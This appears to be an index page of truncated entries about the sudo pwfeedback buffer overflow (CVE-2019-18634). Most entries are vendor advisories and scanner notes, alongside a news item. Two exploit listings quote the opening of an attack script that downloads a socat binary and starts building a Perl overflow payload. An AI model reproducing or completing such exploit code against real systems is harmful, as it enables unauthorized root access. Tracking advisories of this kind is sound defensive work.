SUSE SLED15 / SLES15 Security Update : sudo (SUSE-SU-2020:0408-1)

This update for sudo fixes the following issues : Security issue fixed : CVE-2019-18634: Fixed a buffer overflow in the passphrase prompt that could occur when pwfeedback was enabled in /etc/sudoers bsc1162202. Non-security issue fixed: Fixed an issue where sudo -l would ask for a password even...

SUSE SLED12 / SLES12 Security Update : sudo (SUSE-SU-2020:0406-1)

This update for sudo fixes the following issues : Security issue fixed : CVE-2019-18634: Fixed a buffer overflow in the passphrase prompt that could occur when pwfeedback was enabled in /etc/sudoers bsc1162202. Non-security issue fixed: Fixed an issue where sudo -l would ask for a password even...

SUSE-SU-2020:0407-1 Security update for sudo

This update for sudo fixes the following issue: Security issue fixed: - CVE-2019-18634: Fixed a buffer overflow in the passphrase prompt that could occur when pwfeedback was enabled in /etc/sudoers bsc1162202...

sudo: Stack based buffer overflow when pwfeedback is enabled

A flaw was found in the Sudo application when the ’pwfeedback' option is set to true on the sudoers file. An authenticated user can use this vulnerability to trigger a stack-based buffer overflow under certain conditions even without Sudo privileges. The buffer overflow may allow an attacker to...

Important: Red Hat Security Advisory: sudo security update

An update for sudo is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the...

SUSE-SU-2020:0390-1 Security update for sudo

This update for sudo fixes the following issue: Security issue fixed: - CVE-2019-18634: Fixed a buffer overflow in the passphrase prompt that could occur when pwfeedback was enabled in /etc/sudoers bsc1162202...

sudo: Stack based buffer overflow when pwfeedback is enabled

A flaw was found in the Sudo application when the ’pwfeedback' option is set to true on the sudoers file. An authenticated user can use this vulnerability to trigger a stack-based buffer overflow under certain conditions even without Sudo privileges. The buffer overflow may allow an attacker to...

Important: Red Hat Security Advisory: sudo security update

An update for sudo is now available for Red Hat Enterprise Linux 8.0 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

sudo: Stack based buffer overflow when pwfeedback is enabled

A flaw was found in the Sudo application when the ’pwfeedback' option is set to true on the sudoers file. An authenticated user can use this vulnerability to trigger a stack-based buffer overflow under certain conditions even without Sudo privileges. The buffer overflow may allow an attacker to...

MGASA-2020-0081 Updated sudo packages fix security vulnerability

The updated packages fix a security vulnerability: In Sudo before 1.8.31, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process. pwfeedback is a default setting in Linux Mint and elementary OS; however, it is NOT the default for...

Exploit for Out-of-bounds Write in Sudo_Project Sudo

CVE-2019-18634 :warning: This code has only been tested on...

Sudo 1.8.25p - 'pwfeedback' Buffer Overflow

!/bin/bash We will need socat to run this. if ! -f socat ; then wget https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x8664/socat chmod +x socat fi cat xpl.pl $bufsz = 256; $askpasssz = 32; $signosz = 465; $tgetpassflag = "\x04\x00\x00\x00" . "\x00"x24;...

USN-4263-2 sudo vulnerability

USN-4263-1 fixed a vulnerability in Sudo. This update provides the corresponding update for Ubuntu 12.04 ESM and Ubuntu 14.04 ESM. Original advisory details: Joe Vennix discovered that Sudo incorrectly handled memory operations when the pwfeedback option is enabled. A local attacker could possibl...

Sudo 1.8.25p - (pwfeedback) Buffer Overflow Exploit

!/bin/bash We will need socat to run this. if ! -f socat ; then wget https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x8664/socat chmod +x socat fi cat xpl.pl $bufsz = 256; $askpasssz = 32; $signosz = 465; $tgetpassflag = "\x04\x00\x00\x00" . "\x00"x24;...

Sudo 1.8.25p Buffer Overflow

Title: Sudo 1.8.25p - Buffer Overflow Date: 2020-01-30 Author: Joe Vennix Software: Sudo Versions: Sudo versions prior to 1.8.26 CVE: CVE-2019-18634 Reference: https://www.sudo.ws/alerts/pwfeedback.html Sudo's pwfeedback option can be used to provide visual feedback when the user is inputting the...

Sudo 1.8.25p - 'pwfeedback' Buffer Overflow (PoC)

Title: Sudo 1.8.25p - Buffer Overflow Date: 2020-01-30 Author: Joe Vennix Software: Sudo Versions: Sudo versions prior to 1.8.26 CVE: CVE-2019-18634 Reference: https://www.sudo.ws/alerts/pwfeedback.html Sudo's pwfeedback option can be used to provide visual feedback when the user is inputting the...

Ubuntu 16.04 LTS / 18.04 LTS : Sudo vulnerability (USN-4263-1)

The remote Ubuntu 16.04 LTS / 18.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-4263-1 advisory. Joe Vennix discovered that Sudo incorrectly handled memory operations when the pwfeedback option is enabled. A local attacker could possibly use this...

Sudo 1.8.25p - pwfeedback Buffer Overflow (PoC)

Sudo 1.8.25p - pwfeedback Buffer Overflow PoC Title: Sudo 1.8.25p - Buffer Overflow Date: 2020-01-30 Author: Joe Vennix Software: Sudo Versions: Sudo versions prior to 1.8.26 CVE: CVE-2019-18634 Reference: https://www.sudo.ws/alerts/pwfeedback.html Sudo's pwfeedback option can be used to provide...

Sudo 1.8.25p - Buffer Overflow Exploit

Title: Sudo 1.8.25p - Buffer Overflow Author: Joe Vennix Software: Sudo Versions: Sudo versions prior to 1.8.26 CVE: CVE-2019-18634 Reference: https://www.sudo.ws/alerts/pwfeedback.html Sudo's pwfeedback option can be used to provide visual feedback when the user is inputting their password. For...

Sudo Bug Lets Non-Privileged Linux and macOS Users Run Commands as Root

Joe Vennix of Apple security has found another significant vulnerability in sudo utility that under a specific configuration could allow low privileged users or malicious programs to execute arbitrary commands with administrative 'root' privileges on Linux or macOS systems. Sudo is one of the mos...